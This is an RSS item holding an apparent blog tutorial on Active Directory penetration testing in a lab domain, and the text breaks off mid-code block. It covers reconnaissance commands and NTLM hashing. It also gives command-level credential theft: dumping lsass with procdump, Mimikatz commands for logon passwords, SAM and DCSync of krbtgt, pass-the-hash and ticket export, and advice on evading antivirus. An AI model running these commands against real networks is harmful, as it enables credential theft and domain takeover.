<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Kerberos on MentalityXt</title><link>http://xtpol.com/tags/kerberos/</link><description>Recent content in Kerberos on MentalityXt</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Tue, 19 Nov 2024 08:58:00 +0800</lastBuildDate><atom:link href="http://xtpol.com/tags/kerberos/index.xml" rel="self" type="application/rss+xml"/><item><title>Active Directory Pentesting: PTT, PTH, and PTC</title><link>http://xtpol.com/p/active-directory-ptt-pth-ptc/</link><pubDate>Tue, 19 Nov 2024 08:58:00 +0800</pubDate><guid>http://xtpol.com/p/active-directory-ptt-pth-ptc/</guid><description>&lt;h2 id="learning-active-directory-pentesting"&gt;&lt;a href="#learning-active-directory-pentesting" class="header-anchor"&gt;&lt;/a&gt;Learning Active Directory Pentesting&#10;&lt;/h2&gt;&lt;p&gt;[TOC]&lt;/p&gt;&#10;&lt;p&gt;During a penetration test, we often run into a scenario like this: a server in the domain exposes a web service through a port mapping on the router. We exploit a web script vulnerability and gain system privileges on that host. If the client wants us to go further and test the internal network to demonstrate the serious risks facing the company, this is where internal Active Directory penetration comes in. Our usual goal is to gain control of the domain controller, because once the DC falls, the entire internal network is effectively in our hands.&lt;/p&gt;&#10;&lt;h3 id="1-lab-setup"&gt;&lt;a href="#1-lab-setup" class="header-anchor"&gt;&lt;/a&gt;1. Lab Setup&#10;&lt;/h3&gt;&lt;p&gt;Before we begin, we need to set up a domain environment. Since this is only for teaching and testing, one domain controller and one domain-joined host are enough. I use windows server 2012 and windows 7 here. By compromising windows 7, or simply controlling it directly, we can simulate a compromised host and use it to study Active Directory penetration.&lt;/p&gt;&#10;&lt;p&gt;The windows server 2012 machine has an Administrator user (the domain controller&amp;rsquo;s super-administrator account). Windows7 has a dada user (a member of the Administrators group) and a xiao user (a standard domain user).&lt;/p&gt;&#10;&lt;h3 id="2-information-gathering-in-the-domain"&gt;&lt;a href="#2-information-gathering-in-the-domain" class="header-anchor"&gt;&lt;/a&gt;2. Information Gathering in the Domain&#10;&lt;/h3&gt;&lt;p&gt;The first step in every penetration test is information gathering, and a domain is no exception.&lt;/p&gt;&#10;&lt;h4 id="-identify-the-environment"&gt;&lt;a href="#-identify-the-environment" class="header-anchor"&gt;&lt;/a&gt;① Identify the Environment&#10;&lt;/h4&gt;&lt;p&gt;Inside the domain, first identify the compromised host&amp;rsquo;s current internal-network environment, including details such as the topology. The following commands can help you quickly get your bearings.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;route print # View routing information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;arp -a # View all devices in the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ipconfig /all # Determine whether the host is domain-joined from the DNS suffix and DNS server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ping &amp;#34;DOMAIN_NAME&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net time /domain # View system time and identify the primary domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;During a penetration test, remember to save the data you collect. Do not just glance at it and lose it, and try not to query the same information repeatedly. Every action should be clean and efficient.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="-domain-information"&gt;&lt;a href="#-domain-information" class="header-anchor"&gt;&lt;/a&gt;② Domain Information&#10;&lt;/h4&gt;&lt;p&gt;Besides learning about the internal-network environment, we can query domain-related information directly with commands.&lt;/p&gt;&#10;&lt;h5 id="1-net-view"&gt;&lt;a href="#1-net-view" class="header-anchor"&gt;&lt;/a&gt;1. net view&#10;&lt;/h5&gt;&lt;p&gt;View devices in the local workgroup/domain environment.&lt;/p&gt;&#10;&lt;p&gt;View online hosts in the domain. At this point, we can see the two machines in the domain: the compromised XZM-PC and the domain controller AD.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0001.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;If error 6118 appears =&amp;gt;&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Disable the firewall; 2. enable the services (Computer Browser, Server, and Workstation); 3. reopen CMD.&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;h5 id="2-net-view-domain"&gt;&lt;a href="#2-net-view-domain" class="header-anchor"&gt;&lt;/a&gt;2. net view /domain&#10;&lt;/h5&gt;&lt;p&gt;See how many domains currently exist. Here, we can see one domain named MAO.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0002.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="3-net-user-domain"&gt;&lt;a href="#3-net-user-domain" class="header-anchor"&gt;&lt;/a&gt;3. net user /domain&#10;&lt;/h5&gt;&lt;p&gt;View users in the domain. Besides the usual administrator and guest accounts, we can see a krbtgt user. This account is extremely important, and we will come back to it later.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0003.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="4-net-group-domain"&gt;&lt;a href="#4-net-group-domain" class="header-anchor"&gt;&lt;/a&gt;4. net group /domain&#10;&lt;/h5&gt;&lt;p&gt;View information about the domain&amp;rsquo;s groups.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0004.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There are quite a few groups here, so I will list a few of the key ones.&lt;/p&gt;&#10;&lt;p&gt;*Domain Admins — administrators group&lt;/p&gt;&#10;&lt;p&gt;*Domain Computers — hostnames&lt;/p&gt;&#10;&lt;p&gt;*Domain Controllers — domain controllers group&lt;/p&gt;&#10;&lt;p&gt;*Enterprise Admins — enterprise-level administrators&lt;/p&gt;&#10;&lt;p&gt;You can use &lt;code&gt;net group group_name /domain&lt;/code&gt; to view the users in a group.&lt;/p&gt;&#10;&lt;h5 id="5-whoami-user"&gt;&lt;a href="#5-whoami-user" class="header-anchor"&gt;&lt;/a&gt;5. whoami /user&#10;&lt;/h5&gt;&lt;p&gt;Determine your current privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0005.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;500: administrator&lt;/li&gt;&#10;&lt;li&gt;501: guest&lt;/li&gt;&#10;&lt;li&gt;1000+: standard user&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h5 id="6-net-group-domain-controllers-domain"&gt;&lt;a href="#6-net-group-domain-controllers-domain" class="header-anchor"&gt;&lt;/a&gt;6. net group &amp;ldquo;domain controllers&amp;rdquo; /domain&#10;&lt;/h5&gt;&lt;p&gt;View the members of the domain controller administrators group (a high-privilege group in the domain).&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0006.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Domain Admins — domain administrators group (high privilege)&lt;/li&gt;&#10;&lt;li&gt;Domain Computers — hosts joined to the domain&lt;/li&gt;&#10;&lt;li&gt;Domain Controllers — domain controllers (high privilege)&lt;/li&gt;&#10;&lt;li&gt;Domain Users — standard domain users&lt;/li&gt;&#10;&lt;li&gt;Enterprise Admins — enterprise administrators (high privilege)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h5 id="8-systeminfo--findstr-kb"&gt;&lt;a href="#8-systeminfo--findstr-kb" class="header-anchor"&gt;&lt;/a&gt;8. systeminfo | findstr &amp;ldquo;KB&amp;rdquo;&#10;&lt;/h5&gt;&lt;p&gt;View patch information.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0007.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="7-locate-the-domain-controller"&gt;&lt;a href="#7-locate-the-domain-controller" class="header-anchor"&gt;&lt;/a&gt;7. Locate the Domain Controller&#10;&lt;/h5&gt;&lt;p&gt;The domain controller has the highest privileges in the domain, so it is naturally our primary target. We can locate it using some of the commands introduced above.&lt;/p&gt;&#10;&lt;p&gt;Use &lt;code&gt;net user /domain&lt;/code&gt; to view accounts in the domain and &lt;code&gt;net group &amp;quot;domain controllers&amp;quot; /domain&lt;/code&gt; to view the domain controllers. You can quickly check your own privileges with &lt;code&gt;whoami /user&lt;/code&gt;.&lt;/p&gt;&#10;&lt;h3 id="3-local-authentication"&gt;&lt;a href="#3-local-authentication" class="header-anchor"&gt;&lt;/a&gt;3. Local Authentication&#10;&lt;/h3&gt;&lt;h4 id="-windows-local-authentication"&gt;&lt;a href="#-windows-local-authentication" class="header-anchor"&gt;&lt;/a&gt;① Windows Local Authentication&#10;&lt;/h4&gt;&lt;p&gt;Before we start attacking, we need to understand how windows authentication works.&lt;/p&gt;&#10;&lt;p&gt;From studying the operating system, we know that &lt;code&gt;C:\Windows\System32\config\SAM&lt;/code&gt; is the database file that stores host account passwords.&lt;/p&gt;&#10;&lt;p&gt;The windows login process is actually quite simple. winlogin.exe starts, and when the user enters an account name and password, they are sent to lsass.exe. lsass.exe converts the plaintext entered by the user into an NTLM hash and compares it with the data stored in the SAM file. If they match, the login succeeds.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0008.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Windows Logon is the user login program in the Windows operating system. It manages user login and logout and provides the interface where users enter their account names and passwords, also known as the login page or login screen.&lt;/p&gt;&#10;&lt;p&gt;lsass is part of the Microsoft windows security mechanism. It is a critical Windows operating-system process responsible for local security and login policies. It starts automatically when Windows boots and continues running in the background.&lt;/p&gt;&#10;&lt;h4 id="-ntlm-hash"&gt;&lt;a href="#-ntlm-hash" class="header-anchor"&gt;&lt;/a&gt;② NTLM hash&#10;&lt;/h4&gt;&lt;p&gt;Of course, windows itself does not store plaintext passwords. The SAM file stores password hashes. During login, the user&amp;rsquo;s input is first converted into a hash before the comparison is performed.&lt;/p&gt;&#10;&lt;p&gt;Hashes are generally stored in two places:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;The SAM file, stored on the local machine =&amp;gt; corresponds to local users&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;ol start="2"&gt;&#10;&lt;li&gt;The NTDS.DIT file, stored on the domain controller =&amp;gt; corresponds to domain users&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h5 id="1-hashing-process"&gt;&lt;a href="#1-hashing-process" class="header-anchor"&gt;&lt;/a&gt;1. Hashing Process&#10;&lt;/h5&gt;&lt;p&gt;The plaintext password entered by the user =&amp;gt; hexadecimal =&amp;gt; unicode =&amp;gt; md4 algorithm =&amp;gt; NTLM hash. As you can see, the entire process is fairly simple.&lt;/p&gt;&#10;&lt;h5 id="2-stored-password-format"&gt;&lt;a href="#2-stored-password-format" class="header-anchor"&gt;&lt;/a&gt;2. Stored Password Format&#10;&lt;/h5&gt;&lt;p&gt;Example: administrator:500:LM hash:NTLM hash&lt;/p&gt;&#10;&lt;p&gt;The username comes first, followed by the user&amp;rsquo;s SID, then the LM hash and NTLM hash.&lt;/p&gt;&#10;&lt;p&gt;If the LM Hash begins with AAD3B, the password is empty or has not been set.&lt;/p&gt;&#10;&lt;p&gt;LM Hash stands for “LAN Manager Hash.” It is a hashing algorithm Microsoft adopted to improve the security of the Windows operating system, and it is essentially based on DES encryption. Although LM Hash is relatively easy to crack, Windows only disabled it to maintain system compatibility (starting with Windows Vista and Windows Server 2008, Windows disables LM Hash by default). LM Hash plaintext passwords are limited to 14 characters, so if you want to stop using LM Hash, simply set the user&amp;rsquo;s password to more than 14 characters.&lt;/p&gt;&#10;&lt;h5 id="3-lsassexe"&gt;&lt;a href="#3-lsassexe" class="header-anchor"&gt;&lt;/a&gt;3. lsass.exe&#10;&lt;/h5&gt;&lt;p&gt;During lateral movement and privilege escalation on an internal network, the most common approach is to &lt;code&gt;dump the lsass.exe process to obtain plaintext passwords or hashes&lt;/code&gt;. lsass.exe (Local Security Authority SubsystemService) is a system process used by the Microsoft Windows security mechanism for local security and login policies. Its process space contains important information such as the machine&amp;rsquo;s domain, local usernames, and passwords. However, you must &lt;code&gt;first obtain high privileges&lt;/code&gt; before you can access it.&lt;/p&gt;&#10;&lt;h3 id="4-extracting-passwords-from-lsassexe"&gt;&lt;a href="#4-extracting-passwords-from-lsassexe" class="header-anchor"&gt;&lt;/a&gt;4. Extracting Passwords from lsass.exe&#10;&lt;/h3&gt;&lt;h4 id="-procdump"&gt;&lt;a href="#-procdump" class="header-anchor"&gt;&lt;/a&gt;① Procdump&#10;&lt;/h4&gt;&lt;p&gt;procdump is a command-line tool mainly used to monitor abnormal CPU activity in applications and create memory dumps. As mentioned above, plaintext and encrypted passwords are both stored in lsass, so procdump can dump lsass&amp;rsquo;s memory resources. Here are some of its parameters.&lt;/p&gt;&#10;&lt;h5 id="1-relevant-parameters"&gt;&lt;a href="#1-relevant-parameters" class="header-anchor"&gt;&lt;/a&gt;1. Relevant Parameters&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;-ma: Writes a “full” dump file. [Includes all memory (images, mappings, and private memory), as well as all metadata for processes, threads, modules, handles, address spaces, and so on.]&lt;/li&gt;&#10;&lt;li&gt;-accepteula: Automatically accepts the Sysinternals license agreement when this command-line option is used.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h5 id="2-basic-usage"&gt;&lt;a href="#2-basic-usage" class="header-anchor"&gt;&lt;/a&gt;2. Basic Usage&#10;&lt;/h5&gt;&lt;p&gt;It is very straightforward: specify the options and the process whose memory you want to dump, then provide an output filename. You immediately get a memory dump file with the .dmp extension. (This requires a command-line window running with administrator privileges.)&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;procdump.exe -ma -accepteula lsass.exe passwd.dmp # Dump in-memory hashes locally as passwd.dmp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pypykatz lsa minidump ./pass.dmp # This works very well&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0009.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Normally, we cannot open passwd.dmp directly; opening it in Notepad only shows garbled text. This is where another small tool, Mimikatz, comes in to read passwd.dmp.&lt;/p&gt;&#10;&lt;h4 id="-mimikatz"&gt;&lt;a href="#-mimikatz" class="header-anchor"&gt;&lt;/a&gt;② Mimikatz&#10;&lt;/h4&gt;&lt;p&gt;Mimikatz is a powerful, lightweight debugging tool developed by the French researcher benjamin. It was originally intended for personal testing, but its powerful ability to read plaintext passwords directly from operating systems such as WindowsXP-2012 made it famous in penetration testing. You could call it an essential penetration-testing tool.&lt;/p&gt;&#10;&lt;h5 id="1-relevant-parameters-1"&gt;&lt;a href="#1-relevant-parameters-1" class="header-anchor"&gt;&lt;/a&gt;1. Relevant Parameters&#10;&lt;/h5&gt;&lt;p&gt;Mimikatz has many parameters, so I will only cover the commonly used ones here.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # :: Display help&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # cls Clear the screen&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # log Log captured information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # hostname View the hostname&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;privilege module&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;(This requires a command-line window running with administrator privileges.)&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # privilege::debug Elevate Mimikatz privileges using its built-in exploit against the current host&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;sekurlsa module&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. Extract passwords for users logged on to the current system; elevate Mimikatz privileges first&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::logonpasswords Retrieve all account passwords; simpler than using Procdump&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Capture user NTLM hashes from memory and list LM and NTLM credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::msv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. Load the DMP file and extract plaintext passwords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::minidump passwd.dmp Switch context&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::logonpasswords full List all available credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;4. Export all tickets from the lsass.exe process&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::tickets /export&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;5. List Kerberos credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::kerberos Retrieve in-domain Kerberos authentication data, including account passwords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;6. Pass the hash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::pth&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;lsadump module&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # lsadump::sam Read the SAM file to obtain usernames and NTLM hashes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # lsadump::secrets Retrieve the current user&amp;#39;s password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # lsadump::dcsync /user:krbtgt Retrieve krbtgt user information from the domain controller&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;kerberos module&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. List tickets on the system&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # kerberos::list List tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # kerberos::tgt List tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Clear tickets from the system&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # kerberos::purge Clear tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. Import a ticket into the system&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # kerberos::ptc TICKET_PATH&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;process module&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # process::start command Start a process&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # process::stop command Stop a process&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # process::list List processes&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Mimikatz works so well that antivirus software will flag it. If you plan to run Mimikatz on a target machine, first consider whether you need to make it evade detection.&lt;/p&gt;&#10;&lt;h5 id="2-basic-usage-1"&gt;&lt;a href="#2-basic-usage-1" class="header-anchor"&gt;&lt;/a&gt;2. Basic Usage&#10;&lt;/h5&gt;&lt;p&gt;Mimikatz can extract plaintext passwords from memory. After loading the dmp file obtained with procdump using &lt;code&gt;sekurlsa::minidump&lt;/code&gt;, you can read passwords with commands such as &lt;code&gt;sekurlsa::logonpasswords full&lt;/code&gt;. The result looks like this:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span 